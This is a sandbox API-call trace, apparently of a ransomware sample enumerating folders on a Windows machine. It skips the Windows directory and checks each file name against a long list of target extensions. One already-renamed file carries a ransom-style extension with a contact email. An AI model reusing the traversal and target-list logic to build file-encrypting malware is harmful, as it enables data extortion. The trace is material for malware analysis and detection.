	[0059.871] FindNextFileW (in: hFindFile=0x5e0470, lpFindFileData=0x325f800 | out: lpFindFileData=0x325f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x803b59d1, ftCreationTime.dwHighDateTime=0x1d56382, ftLastAccessTime.dwLowDateTime=0x803b59d1, ftLastAccessTime.dwHighDateTime=0x1d56382, ftLastWriteTime.dwLowDateTime=0x803b59d1, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x17a, dwReserved0=0x0, dwReserved1=0x0, cFileName="desktop.ini.id-B4197730.[vip76@protonmail.com].html", cAlternateFileName="DESKTO~1.HTM")) returned 1
	[0059.871] lstrlenW (lpString="desktop.ini.id-B4197730.[vip76@protonmail.com].html") returned 51
	[0059.871] lstrlenW (lpString=".1cd") returned 4
	[0059.871] lstrcmpiW (lpString1=".1cd", lpString2="html") returned -1
	[0059.871] lstrlenW (lpString=".3ds") returned 4
	[0059.871] lstrcmpiW (lpString1=".3ds", lpString2="html") returned -1
	[0059.871] lstrlenW (lpString=".3fr") returned 4
	[0059.871] lstrcmpiW (lpString1=".3fr", lpString2="html") returned -1
	[0059.871] lstrlenW (lpString=".3g2") returned 4
	[0059.871] lstrcmpiW (lpString1=".3g2", lpString2="html") returned -1
	[0059.871] lstrlenW (lpString=".3gp") returned 4
	[0059.871] lstrcmpiW (lpString1=".3gp", lpString2="html") returned -1
	[0059.871] lstrlenW (lpString=".7z") returned 3
	[0059.871] lstrcmpiW (lpString1=".7z", lpString2="tml") returned -1
	[0059.871] lstrlenW (lpString=".accda") returned 6
	[0059.871] lstrcmpiW (lpString1=".accda", lpString2="].html") returned -1
	[0059.871] lstrlenW (lpString=".accdb") returned 6
	[0059.871] lstrcmpiW (lpString1=".accdb", lpString2="].html") returned -1
	[0059.871] lstrlenW (lpString=".accdc") returned 6
	[0059.871] lstrcmpiW (lpString1=".accdc", lpString2="].html") returned -1
	[0059.871] lstrlenW (lpString=".accde") returned 6
	[0059.871] lstrcmpiW (lpString1=".accde", lpString2="].html") returned -1
	[0059.871] lstrlenW (lpString=".accdt") returned 6
	[0059.871] lstrcmpiW (lpString1=".accdt", lpString2="].html") returned -1
	[0059.871] lstrlenW (lpString=".accdw") returned 6
	[0059.871] lstrcmpiW (lpString1=".accdw", lpString2="].html") returned -1
	[0059.871] lstrlenW (lpString=".adb") returned 4
	[0059.871] lstrcmpiW (lpString1=".adb", lpString2="html") returned -1
	[0059.872] lstrlenW (lpString=".adp") returned 4
	[0059.872] lstrcmpiW (lpString1=".adp", lpString2="html") returned -1
	[0059.872] lstrlenW (lpString=".ai") returned 3
	[0059.872] lstrcmpiW (lpString1=".ai", lpString2="tml") returned -1
	[0059.872] lstrlenW (lpString=".ai3") returned 4
	[0059.872] lstrcmpiW (lpString1=".ai3", lpString2="html") returned -1
	[0059.872] lstrlenW (lpString=".ai4") returned 4
	[0059.872] lstrcmpiW (lpString1=".ai4", lpString2="html") returned -1
	[0059.872] lstrlenW (lpString=".ai5") returned 4
	[0059.872] lstrcmpiW (lpString1=".ai5", lpString2="html") returned -1
	[0059.872] lstrlenW (lpString=".ai6") returned 4
	[0059.872] lstrcmpiW (lpString1=".ai6", lpString2="html") returned -1
	[0059.872] lstrlenW (lpString=".ai7") returned 4
	[0059.872] lstrcmpiW (lpString1=".ai7", lpString2="html") returned -1
	[0059.872] lstrlenW (lpString=".ai8") returned 4
	[0059.872] lstrcmpiW (lpString1=".ai8", lpString2="html") returned -1
	[0059.872] lstrlenW (lpString=".anim") returned 5
	[0059.872] lstrcmpiW (lpString1=".anim", lpString2=".html") returned -1
	[0059.872] lstrlenW (lpString=".arw") returned 4
	[0059.872] lstrcmpiW (lpString1=".arw", lpString2="html") returned -1
	[0059.872] lstrlenW (lpString=".as") returned 3
	[0059.872] lstrcmpiW (lpString1=".as", lpString2="tml") returned -1
	[0059.872] lstrlenW (lpString=".asa") returned 4
	[0059.872] lstrcmpiW (lpString1=".asa", lpString2="html") returned -1
	[0059.872] lstrlenW (lpString=".asc") returned 4
	[0059.872] lstrcmpiW (lpString1=".asc", lpString2="html") returned -1
	[0059.872] lstrlenW (lpString=".ascx") returned 5
	[0059.872] lstrcmpiW (lpString1=".ascx", lpString2=".html") returned -1
	[0059.872] lstrlenW (lpString=".asm") returned 4
	[0059.872] lstrcmpiW (lpString1=".asm", lpString2="html") returned -1
	[0059.872] lstrlenW (lpString=".asmx") returned 5
	[0059.872] lstrcmpiW (lpString1=".asmx", lpString2=".html") returned -1
	[0059.872] lstrlenW (lpString=".asp") returned 4
	[0059.872] lstrcmpiW (lpString1=".asp", lpString2="html") returned -1
	[0059.873] lstrlenW (lpString=".aspx") returned 5
	[0059.873] lstrcmpiW (lpString1=".aspx", lpString2=".html") returned -1
	[0059.873] lstrlenW (lpString=".asr") returned 4
	[0059.873] lstrcmpiW (lpString1=".asr", lpString2="html") returned -1
	[0059.873] lstrlenW (lpString=".asx") returned 4
	[0059.873] lstrcmpiW (lpString1=".asx", lpString2="html") returned -1
	[0059.873] lstrlenW (lpString=".avi") returned 4
	[0059.873] lstrcmpiW (lpString1=".avi", lpString2="html") returned -1
	[0059.873] lstrlenW (lpString=".avs") returned 4
	[0059.873] lstrcmpiW (lpString1=".avs", lpString2="html") returned -1
	[0059.873] lstrlenW (lpString=".backup") returned 7
	[0059.873] lstrcmpiW (lpString1=".backup", lpString2="m].html") returned -1
	[0059.873] lstrlenW (lpString=".bak") returned 4
	[0059.873] lstrcmpiW (lpString1=".bak", lpString2="html") returned -1
	[0059.873] lstrlenW (lpString=".bay") returned 4
	[0059.873] lstrcmpiW (lpString1=".bay", lpString2="html") returned -1
	[0059.873] lstrlenW (lpString=".bd") returned 3
	[0059.873] lstrcmpiW (lpString1=".bd", lpString2="tml") returned -1
	[0059.873] lstrlenW (lpString=".bin") returned 4
	[0059.873] lstrcmpiW (lpString1=".bin", lpString2="html") returned -1
	[0059.873] lstrlenW (lpString=".bmp") returned 4
	[0059.873] lstrcmpiW (lpString1=".bmp", lpString2="html") returned -1
	[0059.873] lstrlenW (lpString=".bz2") returned 4
	[0059.873] lstrcmpiW (lpString1=".bz2", lpString2="html") returned -1
	[0059.873] lstrlenW (lpString=".c") returned 2
	[0059.873] lstrcmpiW (lpString1=".c", lpString2="ml") returned -1
	[0059.873] lstrlenW (lpString=".cdr") returned 4
	[0059.873] lstrcmpiW (lpString1=".cdr", lpString2="html") returned -1
	[0059.874] lstrlenW (lpString=".cer") returned 4
	[0059.874] lstrcmpiW (lpString1=".cer", lpString2="html") returned -1
	[0059.874] lstrlenW (lpString=".cf") returned 3
	[0059.874] lstrcmpiW (lpString1=".cf", lpString2="tml") returned -1
	[0059.874] lstrlenW (lpString=".cfc") returned 4
	[0059.874] lstrcmpiW (lpString1=".cfc", lpString2="html") returned -1
	[0059.874] lstrlenW (lpString=".cfm") returned 4
	[0059.874] lstrcmpiW (lpString1=".cfm", lpString2="html") returned -1
	[0059.874] lstrlenW (lpString=".cfml") returned 5
	[0059.874] lstrcmpiW (lpString1=".cfml", lpString2=".html") returned -1
	[0059.874] lstrlenW (lpString=".cfu") returned 4
	[0059.874] lstrcmpiW (lpString1=".cfu", lpString2="html") returned -1
	[0059.874] lstrlenW (lpString=".chm") returned 4
	[0059.874] lstrcmpiW (lpString1=".chm", lpString2="html") returned -1
	[0059.874] lstrlenW (lpString=".cin") returned 4
	[0059.874] lstrcmpiW (lpString1=".cin", lpString2="html") returned -1
	[0059.874] lstrlenW (lpString=".class") returned 6
	[0059.874] lstrcmpiW (lpString1=".class", lpString2="].html") returned -1
	[0059.874] lstrlenW (lpString=".clx") returned 4
	[0059.874] lstrcmpiW (lpString1=".clx", lpString2="html") returned -1
	[0059.874] lstrlenW (lpString=".config") returned 7
	[0059.874] lstrcmpiW (lpString1=".config", lpString2="m].html") returned -1
	[0059.874] lstrlenW (lpString=".cpp") returned 4
	[0059.874] lstrcmpiW (lpString1=".cpp", lpString2="html") returned -1
	[0059.874] lstrlenW (lpString=".cr2") returned 4
	[0059.874] lstrcmpiW (lpString1=".cr2", lpString2="html") returned -1
	[0059.874] lstrlenW (lpString=".crt") returned 4
	[0059.874] lstrcmpiW (lpString1=".crt", lpString2="html") returned -1
	[0059.874] lstrlenW (lpString=".crw") returned 4
	[0059.875] lstrcmpiW (lpString1=".crw", lpString2="html") returned -1
	[0059.875] lstrlenW (lpString=".cs") returned 3
	[0059.875] lstrcmpiW (lpString1=".cs", lpString2="tml") returned -1
	[0059.875] lstrlenW (lpString=".css") returned 4
	[0059.875] lstrcmpiW (lpString1=".css", lpString2="html") returned -1
	[0059.875] lstrlenW (lpString=".csv") returned 4
	[0059.875] lstrcmpiW (lpString1=".csv", lpString2="html") returned -1
	[0059.875] lstrlenW (lpString=".cub") returned 4
	[0059.875] lstrcmpiW (lpString1=".cub", lpString2="html") returned -1
	[0059.875] lstrlenW (lpString=".dae") returned 4
	[0059.875] lstrcmpiW (lpString1=".dae", lpString2="html") returned -1
	[0059.875] lstrlenW (lpString=".dat") returned 4
	[0059.875] lstrcmpiW (lpString1=".dat", lpString2="html") returned -1
	[0059.875] lstrlenW (lpString=".db") returned 3
	[0059.875] lstrcmpiW (lpString1=".db", lpString2="tml") returned -1
	[0059.875] lstrlenW (lpString=".dbf") returned 4
	[0059.875] lstrcmpiW (lpString1=".dbf", lpString2="html") returned -1
	[0059.875] lstrlenW (lpString=".dbx") returned 4
	[0059.875] lstrcmpiW (lpString1=".dbx", lpString2="html") returned -1
	[0059.875] lstrlenW (lpString=".dc3") returned 4
	[0059.875] lstrcmpiW (lpString1=".dc3", lpString2="html") returned -1
	[0059.875] lstrlenW (lpString=".dcm") returned 4
	[0059.875] lstrcmpiW (lpString1=".dcm", lpString2="html") returned -1
	[0059.875] lstrlenW (lpString=".dcr") returned 4
	[0059.875] lstrcmpiW (lpString1=".dcr", lpString2="html") returned -1
	[0059.875] lstrlenW (lpString=".der") returned 4
	[0059.875] lstrcmpiW (lpString1=".der", lpString2="html") returned -1
	[0059.876] lstrlenW (lpString=".dib") returned 4
	[0059.876] lstrcmpiW (lpString1=".dib", lpString2="html") returned -1
	[0059.876] lstrlenW (lpString=".dic") returned 4
	[0059.876] lstrcmpiW (lpString1=".dic", lpString2="html") returned -1
	[0059.876] lstrlenW (lpString=".dif") returned 4
	[0059.876] lstrcmpiW (lpString1=".dif", lpString2="html") returned -1
	[0059.876] lstrlenW (lpString=".divx") returned 5
	[0059.876] lstrcmpiW (lpString1=".divx", lpString2=".html") returned -1
	[0059.876] lstrlenW (lpString=".djvu") returned 5
	[0059.876] lstrcmpiW (lpString1=".djvu", lpString2=".html") returned -1
	[0059.876] lstrlenW (lpString=".dng") returned 4
	[0059.877] lstrcmpiW (lpString1=".dng", lpString2="html") returned -1
	[0059.877] lstrlenW (lpString=".doc") returned 4
	[0059.877] lstrcmpiW (lpString1=".doc", lpString2="html") returned -1
	[0059.877] lstrlenW (lpString=".docm") returned 5
	[0059.877] lstrcmpiW (lpString1=".docm", lpString2=".html") returned -1
	[0059.877] lstrlenW (lpString=".docx") returned 5
	[0059.877] lstrcmpiW (lpString1=".docx", lpString2=".html") returned -1
	[0059.877] lstrlenW (lpString=".dot") returned 4
	[0059.877] lstrcmpiW (lpString1=".dot", lpString2="html") returned -1
	[0059.877] lstrlenW (lpString=".dotm") returned 5
	[0059.877] lstrcmpiW (lpString1=".dotm", lpString2=".html") returned -1
	[0059.877] lstrlenW (lpString=".dotx") returned 5
	[0059.877] lstrcmpiW (lpString1=".dotx", lpString2=".html") returned -1
	[0059.877] lstrlenW (lpString=".dpx") returned 4
	[0059.877] lstrcmpiW (lpString1=".dpx", lpString2="html") returned -1
	[0059.877] lstrlenW (lpString=".dqy") returned 4
	[0059.877] lstrcmpiW (lpString1=".dqy", lpString2="html") returned -1
	[0059.877] lstrlenW (lpString=".dsn") returned 4
	[0059.877] lstrcmpiW (lpString1=".dsn", lpString2="html") returned -1
	[0059.877] lstrlenW (lpString=".dt") returned 3
	[0059.877] lstrcmpiW (lpString1=".dt", lpString2="tml") returned -1
	[0059.877] lstrlenW (lpString=".dtd") returned 4
	[0059.877] lstrcmpiW (lpString1=".dtd", lpString2="html") returned -1
	[0059.877] lstrlenW (lpString=".dwg") returned 4
	[0059.877] lstrcmpiW (lpString1=".dwg", lpString2="html") returned -1
	[0059.877] lstrlenW (lpString=".dwt") returned 4
	[0059.877] lstrcmpiW (lpString1=".dwt", lpString2="html") returned -1
	[0059.877] lstrlenW (lpString=".dx") returned 3
	[0059.878] lstrcmpiW (lpString1=".dx", lpString2="tml") returned -1
	[0059.878] lstrlenW (lpString=".dxf") returned 4
	[0059.878] lstrcmpiW (lpString1=".dxf", lpString2="html") returned -1
	[0059.878] lstrlenW (lpString=".edml") returned 5
	[0059.878] lstrcmpiW (lpString1=".edml", lpString2=".html") returned -1
	[0059.878] lstrlenW (lpString=".efd") returned 4
	[0059.878] lstrcmpiW (lpString1=".efd", lpString2="html") returned -1
	[0059.878] lstrlenW (lpString=".elf") returned 4
	[0059.878] lstrcmpiW (lpString1=".elf", lpString2="html") returned -1
	[0059.878] lstrlenW (lpString=".emf") returned 4
	[0059.878] lstrcmpiW (lpString1=".emf", lpString2="html") returned -1
	[0059.878] lstrlenW (lpString=".emz") returned 4
	[0059.878] lstrcmpiW (lpString1=".emz", lpString2="html") returned -1
	[0059.878] lstrlenW (lpString=".epf") returned 4
	[0059.878] lstrcmpiW (lpString1=".epf", lpString2="html") returned -1
	[0059.878] lstrlenW (lpString=".eps") returned 4
	[0059.878] lstrcmpiW (lpString1=".eps", lpString2="html") returned -1
	[0059.878] lstrlenW (lpString=".epsf") returned 5
	[0059.878] lstrcmpiW (lpString1=".epsf", lpString2=".html") returned -1
	[0059.878] lstrlenW (lpString=".epsp") returned 5
	[0059.878] lstrcmpiW (lpString1=".epsp", lpString2=".html") returned -1
	[0059.878] lstrlenW (lpString=".erf") returned 4
	[0059.878] lstrcmpiW (lpString1=".erf", lpString2="html") returned -1
	[0059.878] lstrlenW (lpString=".exr") returned 4
	[0059.878] lstrcmpiW (lpString1=".exr", lpString2="html") returned -1
	[0059.878] lstrlenW (lpString=".f4v") returned 4
	[0059.878] lstrcmpiW (lpString1=".f4v", lpString2="html") returned -1
	[0059.878] lstrlenW (lpString=".fido") returned 5
	[0059.878] lstrcmpiW (lpString1=".fido", lpString2=".html") returned -1
	[0059.879] lstrlenW (lpString=".flm") returned 4
	[0059.879] lstrcmpiW (lpString1=".flm", lpString2="html") returned -1
	[0059.879] lstrlenW (lpString=".flv") returned 4
	[0059.879] lstrcmpiW (lpString1=".flv", lpString2="html") returned -1
	[0059.879] lstrlenW (lpString=".frm") returned 4
	[0059.879] lstrcmpiW (lpString1=".frm", lpString2="html") returned -1
	[0059.879] lstrlenW (lpString=".fxg") returned 4
	[0059.879] lstrcmpiW (lpString1=".fxg", lpString2="html") returned -1
	[0059.879] lstrlenW (lpString=".geo") returned 4
	[0059.879] lstrcmpiW (lpString1=".geo", lpString2="html") returned -1
	[0059.879] lstrlenW (lpString=".gif") returned 4
	[0059.879] lstrcmpiW (lpString1=".gif", lpString2="html") returned -1
	[0059.879] lstrlenW (lpString=".grs") returned 4
	[0059.879] lstrcmpiW (lpString1=".grs", lpString2="html") returned -1
	[0059.879] lstrlenW (lpString=".gz") returned 3
	[0059.879] lstrcmpiW (lpString1=".gz", lpString2="tml") returned -1
	[0059.879] lstrlenW (lpString=".h") returned 2
	[0059.879] lstrcmpiW (lpString1=".h", lpString2="ml") returned -1
	[0059.879] lstrlenW (lpString=".hdr") returned 4
	[0059.879] lstrcmpiW (lpString1=".hdr", lpString2="html") returned -1
	[0059.879] FindNextFileW (in: hFindFile=0x5e0470, lpFindFileData=0x325f800 | out: lpFindFileData=0x325f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x803b59d1, ftCreationTime.dwHighDateTime=0x1d56382, ftLastAccessTime.dwLowDateTime=0x803b59d1, ftLastAccessTime.dwHighDateTime=0x1d56382, ftLastWriteTime.dwLowDateTime=0x803b59d1, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x17a, dwReserved0=0x0, dwReserved1=0x0, cFileName="desktop.ini.id-B4197730.[vip76@protonmail.com].html", cAlternateFileName="DESKTO~1.HTM")) returned 0
	[0059.879] FindClose (in: hFindFile=0x5e0470 | out: hFindFile=0x5e0470) returned 1
	[0059.880] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x3c40080 | out: hHeap=0x4f0000) returned 1
	[0059.880] FindNextFileW (in: hFindFile=0x5e0370, lpFindFileData=0x325fa7c | out: lpFindFileData=0x325fa7c*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xcb9438a8, ftCreationTime.dwHighDateTime=0x1d32714, ftLastAccessTime.dwLowDateTime=0x11a5eef8, ftLastAccessTime.dwHighDateTime=0x1d3375b, ftLastWriteTime.dwLowDateTime=0x11a5eef8, ftLastWriteTime.dwHighDateTime=0x1d3375b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="S-1-5-21-1051304884-625712362-2192934891-1000", cAlternateFileName="S-1-5-~1")) returned 1
	[0059.880] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xfffe) returned 0x3c40080
	[0059.880] FindFirstFileW (in: lpFileName="C:\\$Recycle.Bin\\S-1-5-21-1051304884-625712362-2192934891-1000\\*", lpFindFileData=0x325f800 | out: lpFindFileData=0x325f800*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xcb9438a8, ftCreationTime.dwHighDateTime=0x1d32714, ftLastAccessTime.dwLowDateTime=0x11a5eef8, ftLastAccessTime.dwHighDateTime=0x1d3375b, ftLastWriteTime.dwLowDateTime=0x11a5eef8, ftLastWriteTime.dwHighDateTime=0x1d3375b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5e05b0
	[0059.880] FindNextFileW (in: hFindFile=0x5e05b0, lpFindFileData=0x325f800 | out: lpFindFileData=0x325f800*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xcb9438a8, ftCreationTime.dwHighDateTime=0x1d32714, ftLastAccessTime.dwLowDateTime=0x11a5eef8, ftLastAccessTime.dwHighDateTime=0x1d3375b, ftLastWriteTime.dwLowDateTime=0x11a5eef8, ftLastWriteTime.dwHighDateTime=0x1d3375b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0059.880] FindNextFileW (in: hFindFile=0x5e05b0, lpFindFileData=0x325f800 | out: lpFindFileData=0x325f800*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0xcb9438a8, ftCreationTime.dwHighDateTime=0x1d32714, ftLastAccessTime.dwLowDateTime=0xcb9438a8, ftLastAccessTime.dwHighDateTime=0x1d32714, ftLastWriteTime.dwLowDateTime=0xcb9438a8, ftLastWriteTime.dwHighDateTime=0x1d32714, nFileSizeHigh=0x0, nFileSizeLow=0x81, dwReserved0=0x0, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 1
	[0059.880] FindNextFileW (in: hFindFile=0x5e05b0, lpFindFileData=0x325f800 | out: lpFindFileData=0x325f800*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0xcb9438a8, ftCreationTime.dwHighDateTime=0x1d32714, ftLastAccessTime.dwLowDateTime=0xcb9438a8, ftLastAccessTime.dwHighDateTime=0x1d32714, ftLastWriteTime.dwLowDateTime=0xcb9438a8, ftLastWriteTime.dwHighDateTime=0x1d32714, nFileSizeHigh=0x0, nFileSizeLow=0x81, dwReserved0=0x0, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 0
	[0059.880] FindClose (in: hFindFile=0x5e05b0 | out: hFindFile=0x5e05b0) returned 1
	[0059.881] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x3c40080 | out: hHeap=0x4f0000) returned 1
	[0059.881] FindNextFileW (in: hFindFile=0x5e0370, lpFindFileData=0x325fa7c | out: lpFindFileData=0x325fa7c*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xcb9438a8, ftCreationTime.dwHighDateTime=0x1d32714, ftLastAccessTime.dwLowDateTime=0x11a5eef8, ftLastAccessTime.dwHighDateTime=0x1d3375b, ftLastWriteTime.dwLowDateTime=0x11a5eef8, ftLastWriteTime.dwHighDateTime=0x1d3375b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="S-1-5-21-1051304884-625712362-2192934891-1000", cAlternateFileName="S-1-5-~1")) returned 0
	[0059.881] FindClose (in: hFindFile=0x5e0370 | out: hFindFile=0x5e0370) returned 1
	[0059.881] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x3c00060 | out: hHeap=0x4f0000) returned 1
	[0059.881] FindNextFileW (in: hFindFile=0x508bd8, lpFindFileData=0x325fcf8 | out: lpFindFileData=0x325fcf8*(dwFileAttributes=0x22, ftCreationTime.dwLowDateTime=0x85776261, ftCreationTime.dwHighDateTime=0x1d3276f, ftLastAccessTime.dwLowDateTime=0x85776261, ftLastAccessTime.dwHighDateTime=0x1d3276f, ftLastWriteTime.dwLowDateTime=0x85776261, ftLastWriteTime.dwHighDateTime=0x1d3276f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x77bb0000, dwReserved1=0x0, cFileName="$WINRE_BACKUP_PARTITION.MARKER", cAlternateFileName="$WINRE~1.MAR")) returned 1
	[0059.881] FindNextFileW (in: hFindFile=0x508bd8, lpFindFileData=0x325fcf8 | out: lpFindFileData=0x325fcf8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf257ded5, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf39a4e7e, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf74cd515, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x77bb0000, dwReserved1=0x0, cFileName="588bce7c90097ed212", cAlternateFileName="588BCE~1")) returned 1
	[0059.881] lstrlenW (lpString="C:\\588bce7c90097ed212") returned 21
	[0059.881] lstrcmpiW (lpString1="C:\\WINDOWS", lpString2="C:\\588bce7c90097ed212") returned 1
	[0059.881] lstrlenW (lpString="588bce7c90097ed212") returned 18
	[0059.881] lstrcmpiW (lpString1="C:\\WINDOWS", lpString2="588bce7c90097ed212") returned 1
	[0059.881] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xfffe) returned 0x3c00060
	[0059.881] lstrlenW (lpString="C:\\588bce7c90097ed212") returned 21
	[0059.881] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\*", lpFindFileData=0x325fa7c | out: lpFindFileData=0x325fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf257ded5, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf39a4e7e, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf74cd515, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName=".", cAlternateFileName="")) returned 0x5e0430
	[0060.162] FindNextFileW (in: hFindFile=0x5e0430, lpFindFileData=0x325fa7c | out: lpFindFileData=0x325fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf257ded5, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf39a4e7e, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf74cd515, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="..", cAlternateFileName="")) returned 1
	[0060.164] FindNextFileW (in: hFindFile=0x5e0430, lpFindFileData=0x325fa7c | out: lpFindFileData=0x325fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf371c69a, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf378ed8a, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf37db23a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="1025", cAlternateFileName="")) returned 1
	[0060.164] lstrlenW (lpString="C:\\588bce7c90097ed212\\1025") returned 26
	[0060.164] lstrcmpiW (lpString1="C:\\WINDOWS", lpString2="C:\\588bce7c90097ed212\\1025") returned 1
	[0060.164] lstrlenW (lpString="1025") returned 4
	[0060.164] lstrcmpiW (lpString1="C:\\WINDOWS", lpString2="1025") returned 1
	[0060.164] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xfffe) returned 0x4250058
	[0060.164] lstrlenW (lpString="C:\\588bce7c90097ed212\\1025") returned 26
	[0060.164] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\1025\\*", lpFindFileData=0x325f800 | out: lpFindFileData=0x325f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf371c69a, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf378ed8a, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf37db23a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5e03f0
	[0060.183] FindNextFileW (in: hFindFile=0x5e03f0, lpFindFileData=0x325f800 | out: lpFindFileData=0x325f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf371c69a, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf378ed8a, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf37db23a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0060.184] FindNextFileW (in: hFindFile=0x5e03f0, lpFindFileData=0x325f800 | out: lpFindFileData=0x325f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x69d9e300, ftCreationTime.dwHighDateTime=0x1cac0d3, ftLastAccessTime.dwLowDateTime=0x69d9e300, ftLastAccessTime.dwHighDateTime=0x1cac0d3, ftLastWriteTime.dwLowDateTime=0x69d9e300, ftLastWriteTime.dwHighDateTime=0x1cac0d3, nFileSizeHigh=0x0, nFileSizeLow=0x1d8f, dwReserved0=0x0, dwReserved1=0x0, cFileName="eula.rtf", cAlternateFileName="")) returned 1
	[0060.184] lstrlenW (lpString="eula.rtf") returned 8
	[0060.184] lstrlenW (lpString=".1cd") returned 4
	[0060.184] lstrcmpiW (lpString1=".1cd", lpString2=".rtf") returned -1
	[0060.184] lstrlenW (lpString=".3ds") returned 4
	[0060.184] lstrcmpiW (lpString1=".3ds", lpString2=".rtf") returned -1
	[0060.184] lstrlenW (lpString=".3fr") returned 4
	[0060.184] lstrcmpiW (lpString1=".3fr", lpString2=".rtf") returned -1
	[0060.184] lstrlenW (lpString=".3g2") returned 4
	[0060.184] lstrcmpiW (lpString1=".3g2", lpString2=".rtf") returned -1
	[0060.184] lstrlenW (lpString=".3gp") returned 4
	[0060.184] lstrcmpiW (lpString1=".3gp", lpString2=".rtf") returned -1
	[0060.184] lstrlenW (lpString=".7z") returned 3
	[0060.184] lstrcmpiW (lpString1=".7z", lpString2="rtf") returned -1
	[0060.184] lstrlenW (lpString=".accda") returned 6
	[0060.184] lstrcmpiW (lpString1=".accda", lpString2="la.rtf") returned -1
	[0060.184] lstrlenW (lpString=".accdb") returned 6
	[0060.184] lstrcmpiW (lpString1=".accdb", lpString2="la.rtf") returned -1
	[0060.184] lstrlenW (lpString=".accdc") returned 6
	[0060.185] lstrcmpiW (lpString1=".accdc", lpString2="la.rtf") returned -1
	[0060.185] lstrlenW (lpString=".accde") returned 6
	[0060.185] lstrcmpiW (lpString1=".accde", lpString2="la.rtf") returned -1
	[0060.185] lstrlenW (lpString=".accdt") returned 6
	[0060.185] lstrcmpiW (lpString1=".accdt", lpString2="la.rtf") returned -1
	[0060.185] lstrlenW (lpString=".accdw") returned 6
	[0060.185] lstrcmpiW (lpString1=".accdw", lpString2="la.rtf") returned -1
	[0060.185] lstrlenW (lpString=".adb") returned 4
	[0060.185] lstrcmpiW (lpString1=".adb", lpString2=".rtf") returned -1
	[0060.185] lstrlenW (lpString=".adp") returned 4
	[0060.185] lstrcmpiW (lpString1=".adp", lpString2=".rtf") returned -1
	[0060.185] lstrlenW (lpString=".ai") returned 3
	[0060.185] lstrcmpiW (lpString1=".ai", lpString2="rtf") returned -1
	[0060.185] lstrlenW (lpString=".ai3") returned 4
	[0060.185] lstrcmpiW (lpString1=".ai3", lpString2=".rtf") returned -1
	[0060.185] lstrlenW (lpString=".ai4") returned 4
	[0060.185] lstrcmpiW (lpString1=".ai4", lpString2=".rtf") returned -1
	[0060.185] lstrlenW (lpString=".ai5") returned 4
